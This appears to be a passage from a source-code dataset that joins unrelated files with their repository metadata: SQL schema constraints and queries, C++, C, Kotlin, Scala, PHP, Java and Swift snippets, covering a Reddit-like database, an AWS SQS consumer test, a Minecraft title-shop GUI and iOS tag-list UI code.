ALTER TABLE subscribe ADD CONSTRAINT FK_subscribe_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE subscribe ADD CONSTRAINT FK_subscribe_1
FOREIGN KEY (FK_subreddit_id)
REFERENCES subreddit (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE createSubReddit ADD CONSTRAINT FK_createSubReddit_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE createSubReddit ADD CONSTRAINT FK_createSubReddit_1
FOREIGN KEY (FK_subreddit_id)
REFERENCES subreddit (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE avaliar ADD CONSTRAINT FK_avaliar_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE avaliar ADD CONSTRAINT FK_avaliar_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE view ADD CONSTRAINT FK_view_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE view ADD CONSTRAINT FK_view_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE report ADD CONSTRAINT FK_report_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE report ADD CONSTRAINT FK_report_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE hide ADD CONSTRAINT FK_hide_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE hide ADD CONSTRAINT FK_hide_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE createPost ADD CONSTRAINT FK_createPost_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE createPost ADD CONSTRAINT FK_createPost_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE save ADD CONSTRAINT FK_save_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE save ADD CONSTRAINT FK_save_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE giveGold ADD CONSTRAINT FK_giveGold_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE giveGold ADD CONSTRAINT FK_giveGold_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE msg1 ADD CONSTRAINT FK_msg1_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE msg1 ADD CONSTRAINT FK_msg1_1
FOREIGN KEY (FK_private_id)
REFERENCES private (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE msg3 ADD CONSTRAINT FK_msg3_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE msg3 ADD CONSTRAINT FK_msg3_1
FOREIGN KEY (FK_unread_id)
REFERENCES unread (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE chat2 ADD CONSTRAINT FK_chat2_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE chat2 ADD CONSTRAINT FK_chat2_1
FOREIGN KEY (FK_direct_id)
REFERENCES direct (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE msg2 ADD CONSTRAINT FK_msg2_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE msg2 ADD CONSTRAINT FK_msg2_1
FOREIGN KEY (FK_inbox_id)
REFERENCES inbox (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE chat1 ADD CONSTRAINT FK_chat1_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE chat1 ADD CONSTRAINT FK_chat1_1
FOREIGN KEY (FK_room_id)
REFERENCES room (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE comments ADD CONSTRAINT FK_comments_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE comments ADD CONSTRAINT FK_comments_1
FOREIGN KEY (FK_comments_id)
REFERENCES comments (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE search ADD CONSTRAINT FK_search_0
FOREIGN KEY (FK_user_id)
REFERENCES user (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE search ADD CONSTRAINT FK_search_1
FOREIGN KEY (FK_results_id)
REFERENCES results (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE escrever1 ADD CONSTRAINT FK_escrever1_0
FOREIGN KEY (FK_room_id)
REFERENCES room (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE escrever1 ADD CONSTRAINT FK_escrever1_1
FOREIGN KEY (FK_msg1_id)
REFERENCES msg1 (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE ecrever2 ADD CONSTRAINT FK_ecrever2_0
FOREIGN KEY (FK_direct_id)
REFERENCES direct (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE ecrever2 ADD CONSTRAINT FK_ecrever2_1
FOREIGN KEY (FK_msg2_id)
REFERENCES msg2 (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE postComment ADD CONSTRAINT FK_postComment_0
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE postComment ADD CONSTRAINT FK_postComment_1
FOREIGN KEY (FK_comments_id)
REFERENCES comments (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE savePost ADD CONSTRAINT FK_savePost_0
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE savePost ADD CONSTRAINT FK_savePost_1
FOREIGN KEY (FK_savedPosts_id)
REFERENCES savedPosts (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE featured ADD CONSTRAINT FK_featured_0
FOREIGN KEY (FK_frontpage_id)
REFERENCES frontpage (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE featured ADD CONSTRAINT FK_featured_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE post ADD CONSTRAINT FK_post_0
FOREIGN KEY (FK_subreddit_id)
REFERENCES subreddit (id)
ON DELETE RESTRICT ON UPDATE RESTRICT;
ALTER TABLE post ADD CONSTRAINT FK_post_1
FOREIGN KEY (FK_post_id)
REFERENCES post (id)
ON DELETE RESTRICT ON UPDATE RESTRICT; | 21.959052 | 63 | 0.714398 |
0ee99c8b7d1ecd7d02f68a94f06300edb95596cb | 933 | h | C | lectures/week8/forwarding/types.h | garyCC227/cs6771 | 9a632b29743848fbba22c08caf760bd0f0463a0a | [
"MIT"
] | 3 | 2020-06-30T11:06:27.000Z | 2021-12-16T05:59:45.000Z | lectures/week8/forwarding/types.h | garyCC227/cs6771 | 9a632b29743848fbba22c08caf760bd0f0463a0a | [
"MIT"
] | null | null | null | lectures/week8/forwarding/types.h | garyCC227/cs6771 | 9a632b29743848fbba22c08caf760bd0f0463a0a | [
"MIT"
] | 3 | 2020-08-02T00:21:15.000Z | 2021-08-01T10:41:07.000Z | #ifndef LECTURES_WEEK8_FORWARDING_TYPES_H_
#define LECTURES_WEEK8_FORWARDING_TYPES_H_
#include <iostream>
#include <string>
class MyClass: public std::string {
public:
// Steal std::string constructors. This gives us MyClass(const char*), for example.
using std::string::string;
MyClass(const MyClass& old): std::string{old} {
std::cout << "Copying " << old << '\n';
}
MyClass(MyClass&& old) noexcept: std::string{std::move(old)} {
std::cout << "Moving " << *this << '\n';
}
MyClass& operator=(const MyClass&) = default;
MyClass& operator=(MyClass&&) noexcept = default;
};
class NonCopyable: public MyClass {
public:
using MyClass::MyClass;
NonCopyable(const NonCopyable&) = delete;
NonCopyable(NonCopyable&&) noexcept = default;
NonCopyable& operator=(const NonCopyable&) = delete;
NonCopyable& operator=(NonCopyable&&) noexcept = default;
};
#endif // LECTURES_WEEK8_FORWARDING_TYPES_H_
| 28.272727 | 85 | 0.705252 |
93bd20fbd296109f26796c62957621f1dd6ee77d | 250 | html | HTML | app/com/gu/viewer/views/loginRedirect.scala.html | guardian/editorial-preview | 0345eb3defce2f88e1c63ce84331d4d05687be66 | [
"Apache-2.0"
] | 3 | 2015-08-12T18:11:59.000Z | 2016-12-14T21:38:01.000Z | app/com/gu/viewer/views/loginRedirect.scala.html | guardian/editorial-preview | 0345eb3defce2f88e1c63ce84331d4d05687be66 | [
"Apache-2.0"
] | 76 | 2015-08-20T10:58:37.000Z | 2021-12-16T16:55:09.000Z | app/com/gu/viewer/views/loginRedirect.scala.html | guardian/editorial-preview | 0345eb3defce2f88e1c63ce84331d4d05687be66 | [
"Apache-2.0"
] | 2 | 2016-12-28T12:31:20.000Z | 2017-11-24T07:43:09.000Z | @(redirectUrl: String)
<!DOCTYPE html>
<html>
<head>
<script>window.top.location.href = "@Html(redirectUrl)";</script>
</head>
<body>
<noscript><a href="@redirectUrl" target="_top">Login</a></noscript>
</body>
</html>
| 22.727273 | 75 | 0.592 |
a172e1c97975ec3d3e5d293ccb00024278a91c42 | 1,199 | c | C | arr.c | DeyvidAdzhemiev/C-Programming | 7b53149759d8b0af20001d7a7a2e6cab39022ed8 | [
"MIT"
] | null | null | null | arr.c | DeyvidAdzhemiev/C-Programming | 7b53149759d8b0af20001d7a7a2e6cab39022ed8 | [
"MIT"
] | null | null | null | arr.c | DeyvidAdzhemiev/C-Programming | 7b53149759d8b0af20001d7a7a2e6cab39022ed8 | [
"MIT"
] | null | null | null | #include <stdio.h>
#include <stdlib.h>
int **alloc_array(int rows, int cols) {
int **rp = NULL;
int j, k;
rp = (int **)malloc(rows * sizeof (int *));
if (!rp) goto bad0;
for (j = 0; j < rows; j++) {
rp[j] = (int *)malloc(cols * sizeof (int));
if (!rp[j]) goto bad1;
}
return rp;
bad1:
for (k = 0; k < j; k++)
free(rp[k]);
free(rp);
bad0:
return NULL;
}
void dealloc_array(int **rp, int rows) {
int j;
for (j = 0; j < rows; j++)
free(rp[j]);
free(rp);
return;
}
int main(void) {
int a[3][3] = {
{ 0, 1, 2 },
{ 3, 4, 5 },
{ 6, 7, 8 }
};
int i, j;
int **dynarr;
int ***t = &dynarr;
for (i = 0; i < 3; i++) {
for (j = 0; j < 3; j++)
printf("%d ", a[i][j]);
printf("\n");
}
dynarr = alloc_array(3, 3);
if (!dynarr) goto error;
for (i = 0; i < 3; i++)
for (j = 0; j < 3; j++) {
dynarr[i][j] = a[i][j];
/*
*(*(dynarr + i) + j) = a[i][j];
*/
}
for (i = 0; i < 3; i++) {
for (j = 0; j < 3; j++)
printf("%d ", dynarr[i][j]);
printf("\n");
}
for (i = 0; i < 3; i++) {
for (j = 0; j < 3; j++)
printf("%d ", *(*((*t) + i) + j));
printf("\n");
}
dealloc_array(dynarr, 3);
return 0;
error:
return -1;
}
| 14.27381 | 45 | 0.442869 |
baa47de738af275f916266af3975bba99b30edd3 | 1,385 | kt | Kotlin | src/test/kotlin/org/seekerwing/aws/sqsconsumer/SqsQueueConsumerTest.kt | DaWeepingAngel/aws-sqs-consumer | b48019d07ac5bb94dd731b55408eff5347e1542b | [
"Apache-2.0"
] | null | null | null | src/test/kotlin/org/seekerwing/aws/sqsconsumer/SqsQueueConsumerTest.kt | DaWeepingAngel/aws-sqs-consumer | b48019d07ac5bb94dd731b55408eff5347e1542b | [
"Apache-2.0"
] | null | null | null | src/test/kotlin/org/seekerwing/aws/sqsconsumer/SqsQueueConsumerTest.kt | DaWeepingAngel/aws-sqs-consumer | b48019d07ac5bb94dd731b55408eff5347e1542b | [
"Apache-2.0"
] | null | null | null | package org.seekerwing.aws.sqsconsumer
import io.mockk.coEvery
import io.mockk.coVerify
import io.mockk.mockk
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.channels.ReceiveChannel
import kotlinx.coroutines.test.runBlockingTest
import org.junit.jupiter.api.DisplayName
import org.junit.jupiter.api.Test
import org.seekerwing.aws.sqsconsumer.messageprovider.MessageProvider
import org.seekerwing.aws.sqsconsumer.model.MessageEnvelope
internal class SqsQueueConsumerTest {
val receiveChannel: ReceiveChannel<MessageEnvelope> = mockk()
val messageConsumer: MessageConsumer = mockk()
val messageProvider: MessageProvider = mockk()
@Test
@DisplayName("validate that start invokes MessageProvider.provideMessages and MessageConsumer.launchConsumer")
fun start() = runBlockingTest {
val sqsQueueConsumer = SqsQueueConsumer(messageProvider, messageConsumer)
coEvery { messageProvider.provideMessages(any<CoroutineScope>()) } returns receiveChannel
coEvery { messageConsumer.launchConsumer(any<CoroutineScope>(), eq(receiveChannel)) } returns Unit
sqsQueueConsumer.start()
sqsQueueConsumer.stop()
coVerify(exactly = 1) { messageProvider.provideMessages(any<CoroutineScope>()) }
coVerify(exactly = 1) { messageConsumer.launchConsumer(any<CoroutineScope>(), eq(receiveChannel)) }
}
}
| 38.472222 | 114 | 0.781227 |
bf592b873990e54a62d6b209453b3235d4d0c0a7 | 826 | kt | Kotlin | src/main/kotlin/kotlinmud/action/contextBuilder/SpellFromHealerContextBuilder.kt | danielmunro/kotlinmud | 5560223c09f84fb79411391b301a8740e343ed4e | [
"MIT"
] | 8 | 2020-06-27T06:25:29.000Z | 2021-07-01T16:42:49.000Z | src/main/kotlin/kotlinmud/action/contextBuilder/SpellFromHealerContextBuilder.kt | danielmunro/kotlinmud | 5560223c09f84fb79411391b301a8740e343ed4e | [
"MIT"
] | 16 | 2020-03-31T11:51:50.000Z | 2021-05-20T16:09:56.000Z | src/main/kotlin/kotlinmud/action/contextBuilder/SpellFromHealerContextBuilder.kt | danielmunro/kotlinmud | 5560223c09f84fb79411391b301a8740e343ed4e | [
"MIT"
] | 1 | 2020-06-27T06:25:36.000Z | 2020-06-27T06:25:36.000Z | package kotlinmud.action.contextBuilder
import kotlinmud.action.model.Context
import kotlinmud.action.type.Status
import kotlinmud.helper.string.matches
import kotlinmud.io.type.Syntax
import kotlinmud.mob.model.Mob
import kotlinmud.mob.type.JobType
class SpellFromHealerContextBuilder(private val mobs: List<Mob>) : ContextBuilder {
override fun build(syntax: Syntax, word: String): Context<Any> {
val mob = mobs.find {
it.job == JobType.HEALER
} ?: return Context<Any>(
syntax,
Status.ERROR,
"you don't see any healers here."
)
return mob.skills.keys.find {
word.matches(it.name)
}?.let {
Context<Any>(syntax, Status.OK, it)
} ?: Context<Any>(syntax, Status.ERROR, "they don't know that.")
}
}
| 31.769231 | 83 | 0.646489 |
ddc83f5b4e524474cb9196444fa204569ff70ad9 | 772 | php | PHP | resources/views/setting/table-runnbr.blade.php | andcon96/web_dnp | 4b10b48e9331774bc8655dbdf0a5cf2ea306abe2 | [
"MIT"
] | null | null | null | resources/views/setting/table-runnbr.blade.php | andcon96/web_dnp | 4b10b48e9331774bc8655dbdf0a5cf2ea306abe2 | [
"MIT"
] | null | null | null | resources/views/setting/table-runnbr.blade.php | andcon96/web_dnp | 4b10b48e9331774bc8655dbdf0a5cf2ea306abe2 | [
"MIT"
] | null | null | null | @forelse($data as $show)
<tr>
<td>{{$show->site_code}}</td>
<td>{{$show->site_desc}}</td>
<td>{{$show->r_nbr_so}}</td>
<td>{{$show->r_nbr_cons}}</td>
<td>{{$show->r_nbr_retur}}</td>
<td>{{$show->r_nbr_spb}}</td>
<td>
<a href="" class="edituser" data-toggle="modal" data-target="#editModal"
data-sitecode="{{$show->site_code}}" data-sitedesc="{{$show->site_desc}}"
data-rnbrso="{{$show->r_nbr_so}}" data-rnbrspb="{{$show->r_nbr_spb}}"
data-rnbrretur="{{$show->r_nbr_retur}}" data-rnbrcons="{{$show->r_nbr_cons}}">
<i class="icon-table fa fa-edit fa-lg"></i></a>
</td>
</tr>
@empty
<tr>
<td colspan="12" style="color:red">
<center>No Data Available</center>
</td>
</tr>
@endforelse | 33.565217 | 86 | 0.559585 |
69ad9013a8bcdd959c9ca3903bca34d948903ccc | 414 | kt | Kotlin | modules/ketamine-models/src/main/kotlin/nnl/rocks/ketamine/models/modules/Module.kt | neonailol/ketamine | a632f012a4a243c526aa2f5bf6fee88c89b6d2df | [
"MIT"
] | null | null | null | modules/ketamine-models/src/main/kotlin/nnl/rocks/ketamine/models/modules/Module.kt | neonailol/ketamine | a632f012a4a243c526aa2f5bf6fee88c89b6d2df | [
"MIT"
] | null | null | null | modules/ketamine-models/src/main/kotlin/nnl/rocks/ketamine/models/modules/Module.kt | neonailol/ketamine | a632f012a4a243c526aa2f5bf6fee88c89b6d2df | [
"MIT"
] | null | null | null | package nnl.rocks.ketamine.models.modules
import nnl.rocks.ketamine.models.domain.Description
import nnl.rocks.ketamine.models.domain.Summary
import nnl.rocks.ketamine.models.operations.Operations
/**
* Represents group of related functionality
*/
class Module(
private val name: String,
private val summary: Summary,
private val description: Description,
private val operations: Operations
)
| 24.352941 | 54 | 0.782609 |
2a62102523a1de1b03829f53ffc903c625a30784 | 716 | java | Java | src/org/dbflute/erflute/editor/controller/editpolicy/not_element/trigger/TriggerComponentEditPolicy.java | schatten4810/erflute | 09f946972efcd5935fd752ff74f36827f726b18f | [
"Apache-2.0"
] | 22 | 2015-02-14T01:50:26.000Z | 2022-02-17T13:33:29.000Z | src/org/dbflute/erflute/editor/controller/editpolicy/not_element/trigger/TriggerComponentEditPolicy.java | schatten4810/erflute | 09f946972efcd5935fd752ff74f36827f726b18f | [
"Apache-2.0"
] | 33 | 2015-02-14T14:16:57.000Z | 2022-03-12T06:37:01.000Z | src/org/dbflute/erflute/editor/controller/editpolicy/not_element/trigger/TriggerComponentEditPolicy.java | schatten4810/erflute | 09f946972efcd5935fd752ff74f36827f726b18f | [
"Apache-2.0"
] | 14 | 2015-02-14T01:50:30.000Z | 2022-02-26T12:02:58.000Z | package org.dbflute.erflute.editor.controller.editpolicy.not_element.trigger;
import org.dbflute.erflute.editor.controller.command.diagram_contents.not_element.trigger.DeleteTriggerCommand;
import org.dbflute.erflute.editor.controller.editpolicy.not_element.NotElementComponentEditPolicy;
import org.dbflute.erflute.editor.model.ERDiagram;
import org.dbflute.erflute.editor.model.diagram_contents.not_element.trigger.Trigger;
import org.eclipse.gef.commands.Command;
public class TriggerComponentEditPolicy extends NotElementComponentEditPolicy {
@Override
protected Command createDeleteCommand(ERDiagram diagram, Object model) {
return new DeleteTriggerCommand(diagram, (Trigger) model);
}
}
| 44.75 | 111 | 0.837989 |
35ee8636fbb221784a0ef5f473e2f6b851f4d37d | 5,881 | kt | Kotlin | src/main/java/br/foxprefix/PrefixUI.kt | BryanSer/FoxPrefix | f4ff2c88f6635d7678fdcecc4fd159e5eda4cdd6 | [
"MIT"
] | null | null | null | src/main/java/br/foxprefix/PrefixUI.kt | BryanSer/FoxPrefix | f4ff2c88f6635d7678fdcecc4fd159e5eda4cdd6 | [
"MIT"
] | null | null | null | src/main/java/br/foxprefix/PrefixUI.kt | BryanSer/FoxPrefix | f4ff2c88f6635d7678fdcecc4fd159e5eda4cdd6 | [
"MIT"
] | 1 | 2019-10-06T09:08:13.000Z | 2019-10-06T09:08:13.000Z | package br.foxprefix
import Br.API.GUI.Ex.UIManager
import Br.API.GUI.Ex.kt.KtItem
import Br.API.GUI.Ex.kt.KtUIBuilder
import Br.API.GUI.Ex.kt.get
import Br.API.GUI.Ex.kt.set
import Br.API.ktsuger.ItemBuilder
import Br.API.ktsuger.msg
import br.foxprefix.prefix.PrefixIndex
import br.foxprefix.prefix.replaceVar
import br.foxprefix.quest.Quest
import org.bukkit.Material
import org.bukkit.enchantments.Enchantment
fun registerQUI() {
val ui = KtUIBuilder.createUI("FPQUI", "§3§l楼楼成就任务列表", 6, false) * { p, map ->
val pd = DataManager get p.name
map["Data"] = pd
map["Page"] = 0
}
ui onClose { p, s ->
DataManager save p
}
for (i in 0..44) {
val index = i
ui + index += KtItem.newItem() display d@{ p, s ->
val page = s["Page"] as Int
val ind = page * 45 + index
val quest = Quest.quests[ind] ?: return@d null
val pd = s["Data"] as PlayerData
if (pd.isComplete(quest)) {
val item = quest.done.clone()
item.addUnsafeEnchantment(Enchantment.DIG_SPEED, 1)
return@d replaceVar(item, p)
} else {
return@d replaceVar(quest.undone, p)
}
} click c@{ p, s ->
val page = s["Page"] as Int
val ind = page * 45 + index
val quest = Quest.quests[ind] ?: return@c
val pd = s["Data"] as PlayerData
if (!pd.isComplete(quest) || quest.infty) {
for (c in quest.conditions) {
if (!c.hasEnough(p)) {
p msg "§c§l你没有完成该任务的要求"
return@c
}
}
for (c in quest.conditions) {
c.remove(p)
}
for ((ac, v) in quest.onDone) {
pd.achievementData[ac] = (pd.achievementData[ac] ?: 0) - v
}
if (pd.questDone == null) {
pd.questDone = mutableSetOf()
}
pd.questDone?.add(quest.name)
for (a in quest.award) {
a.invoke(p)
}
p msg "§6你成功的完成了这个任务"
DataManager save p
}
}
}
ui + 49 += KtItem.newItem() display (ItemBuilder.create(Material.EMERALD).name("§6点击进入称号商店")()) click { p, s ->
UIManager.openUI(p, "FPUI")
}
val prepage = (ItemBuilder.create(Material.ARROW) name "§6上一页")()
ui + 45 += KtItem.newItem() display { p, s ->
val page = s["Page"] as Int
if (page > 0) prepage else null
} click { p, s ->
val page = s["Page"] as Int
if (page > 0) {
s["Page"] = page - 1
}
}
val nextp = (ItemBuilder.create(Material.ARROW) name "§6下一页")()
ui + 53 += KtItem.newItem() display { p, s ->
val page = s["Page"] as Int
if (page < 5) {
nextp
} else {
null
}
} click c@{ p, s ->
val page = s["Page"] as Int
if (page >= 5) {
return@c
}
s["Page"] = page + 1
}
UIManager.RegisterUI(ui.build())
}
fun registerUI() {
val ui = KtUIBuilder.createUI("FPUI", "§3§l楼楼称号商店", 6, false) * { p, map ->
val pd = DataManager get p.name
map["Data"] = pd
map["Page"] = 0
}
ui onClose { p, s ->
DataManager save p
}
for (i in 0..44) {
val index = i
ui + index += KtItem.newItem() display d@{ p, s ->
val page = s["Page"] as Int
val ind = page * 45 + index
val prefix = PrefixIndex[ind] ?: return@d null
val pd = s["Data"] as PlayerData
if (pd.isUnlocked(prefix)) {
if (pd.equip == prefix.name) {
val item = prefix.ui_unlock.clone()
item.addUnsafeEnchantment(Enchantment.DIG_SPEED, 1)
return@d replaceVar(item, p)
} else {
return@d replaceVar(prefix.ui_unlock, p)
}
} else {
return@d replaceVar(prefix.ui_lock, p)
}
} click c@{ p, s ->
val page = s["Page"] as Int
val ind = page * 45 + index
val prefix = PrefixIndex[ind] ?: return@c
val pd = s["Data"] as PlayerData
if (pd.isUnlocked(prefix)) {
pd.equip = if (pd.equip == prefix.name) {
null
} else {
prefix.name
}
} else {
if (prefix.unlock_value.isUnlock(p)) {
p msg "§6你成功的解锁了这个称号"
pd.unlockPrefix.add(prefix.name)
pd.equip = prefix.name
} else {
p msg "§c你无法解锁这个称号"
}
}
}
}
ui + 49 += KtItem.newItem() display (ItemBuilder.create(Material.EMERALD).name("§6点击查看成就任务")()) click { p, s ->
UIManager.openUI(p, "FPQUI")
}
val prepage = (ItemBuilder.create(Material.ARROW) name "§6上一页")()
ui + 45 += KtItem.newItem() display { p, s ->
val page = s["Page"] as Int
if (page > 0) prepage else null
} click { p, s ->
val page = s["Page"] as Int
if (page > 0) {
s["Page"] = page - 1
}
}
val nextp = (ItemBuilder.create(Material.ARROW) name "§6下一页")()
ui + 53 += KtItem.newItem() display { p, s ->
val page = s["Page"] as Int
if (page < 5) {
nextp
} else {
null
}
} click c@{ p, s ->
val page = s["Page"] as Int
if (page >= 5) {
return@c
}
s["Page"] = page + 1
}
UIManager.RegisterUI(ui.build())
} | 32.136612 | 115 | 0.466927 |
c3e10c0db7ffa24e21c25760f691e054a5d5500e | 1,451 | swift | Swift | DemoDirectory/DemoDirectory/Views/TagListViewController.swift | algolia/instantsearch-ios-examples | 672b89d789662e82c4f39df1e0c1b493a1d84c6a | [
"MIT"
] | 60 | 2017-07-20T09:20:01.000Z | 2022-02-07T20:21:32.000Z | DemoDirectory/DemoDirectory/Views/TagListViewController.swift | algolia/instantsearch-swift-examples | f5d1f25fdf88fcdd3f7779a3265172dcb6f5cb43 | [
"MIT"
] | 14 | 2017-09-07T15:55:58.000Z | 2021-11-30T14:26:05.000Z | DemoDirectory/DemoDirectory/Views/TagListViewController.swift | algolia/instantsearch-swift-examples | f5d1f25fdf88fcdd3f7779a3265172dcb6f5cb43 | [
"MIT"
] | 21 | 2018-02-26T13:11:17.000Z | 2022-03-13T09:18:40.000Z | //
// TagListViewController.swift
// development-pods-instantsearch
//
// Created by Guy Daher on 13/06/2019.
// Copyright © 2019 Algolia. All rights reserved.
//
import Foundation
import InstantSearchCore
import UIKit
import TagListView
open class TagListController: NSObject, ItemListController, TagListViewDelegate {
public typealias Item = FilterAndID
open var onRemoveItem: ((FilterAndID) -> Void)?
public let tagListView: TagListView
public var items: [FilterAndID] = []
public init(tagListView: TagListView) {
self.tagListView = tagListView
super.init()
tagListView.delegate = self
setupUI()
}
open func setItems(_ item: [FilterAndID]) {
items = Array(item)
}
open func reload() {
tagListView.removeAllTags()
let tagViews = tagListView.addTags(items.map { $0.text })
for (index, tagView) in tagViews.enumerated() {
tagView.tag = index
}
}
public func tagRemoveButtonPressed(_ title: String, tagView: TagView, sender: TagListView) {
let tag = tagView.tag
let item = items[tag]
onRemoveItem?(item)
}
}
extension TagListController {
func setupUI() {
tagListView.textFont = UIFont.boldSystemFont(ofSize: 20)
tagListView.tagBackgroundColor = UIColor(red: 98/255, green: 146/255, blue: 226/255, alpha: 1)
tagListView.cornerRadius = 5
tagListView.marginX = 20
tagListView.paddingX = 5
tagListView.enableRemoveButton = true
}
}
| 23.031746 | 98 | 0.705031 |
c6ba5793055a10dc153fd13b87133116b3551dbf | 425 | sql | SQL | C#DBFundamentals/DB-Basics-MS-SQL-Server/08FunctionsTriggersAndTransactions/FunctionsTriggersAndTransactionsExercises/31. Rivers by Country.sql | TihomirIvanovIvanov/SoftUni | 41938b81d7be949e905cddde64814f83334802ef | [
"MIT"
] | 3 | 2019-04-12T11:32:37.000Z | 2021-11-20T05:02:59.000Z | C#DBFundamentals/DB-Basics-MS-SQL-Server/08FunctionsTriggersAndTransactions/FunctionsTriggersAndTransactionsExercises/31. Rivers by Country.sql | TihomirIvanovIvanov/SoftUni | 41938b81d7be949e905cddde64814f83334802ef | [
"MIT"
] | null | null | null | C#DBFundamentals/DB-Basics-MS-SQL-Server/08FunctionsTriggersAndTransactions/FunctionsTriggersAndTransactionsExercises/31. Rivers by Country.sql | TihomirIvanovIvanov/SoftUni | 41938b81d7be949e905cddde64814f83334802ef | [
"MIT"
] | null | null | null | SELECT c.CountryName, cont.ContinentName, ISNULL(COUNT(r.Id), 0) AS RiversCount, ISNULL(SUM(r.LENGTH), 0) AS TotalLength FROM Countries AS c
LEFT JOIN CountriesRivers AS cr
ON cr.CountryCode = c.CountryCode
LEFT JOIN Rivers AS r
ON r.Id = cr.RiverId
LEFT JOIN Continents AS cont
ON c.ContinentCode = cont.ContinentCode
GROUP BY c.CountryName, cont.ContinentName
ORDER BY RiversCount DESC, TotalLength DESC, c.CountryName ASC | 47.222222 | 140 | 0.797647 |
263efe501d5aab47ce72cb859179070095ad475a | 195 | java | Java | cappuccino-no-op/src/main/java/com/metova/cappuccino/CappuccinoResourceWatcher.java | metova/Capuccino | 9324d040b6e8cab4bf7dcf71dbd3c761ae043cd9 | [
"Apache-2.0"
] | 53 | 2016-11-09T22:04:21.000Z | 2021-05-31T12:25:29.000Z | cappuccino-no-op/src/main/java/com/metova/cappuccino/CappuccinoResourceWatcher.java | metova/Capuccino | 9324d040b6e8cab4bf7dcf71dbd3c761ae043cd9 | [
"Apache-2.0"
] | 6 | 2016-12-28T19:22:43.000Z | 2020-01-09T16:09:20.000Z | cappuccino-no-op/src/main/java/com/metova/cappuccino/CappuccinoResourceWatcher.java | metova/Capuccino | 9324d040b6e8cab4bf7dcf71dbd3c761ae043cd9 | [
"Apache-2.0"
] | 7 | 2016-11-05T02:52:17.000Z | 2020-12-26T13:10:40.000Z | package com.metova.cappuccino;
public class CappuccinoResourceWatcher {
public void busy() {
}
public void idle() {
}
public boolean isIdle() {
return true;
}
} | 15 | 40 | 0.610256 |
e4391e4563f2223d3ebd0ed3702fb1822c7549c0 | 829 | swift | Swift | Algorithm/Algorithm/Sort/BinarySearch.swift | hulinSun/al | 06f47309780aa72a184f2173bb2efad980bd9165 | [
"Apache-2.0"
] | null | null | null | Algorithm/Algorithm/Sort/BinarySearch.swift | hulinSun/al | 06f47309780aa72a184f2173bb2efad980bd9165 | [
"Apache-2.0"
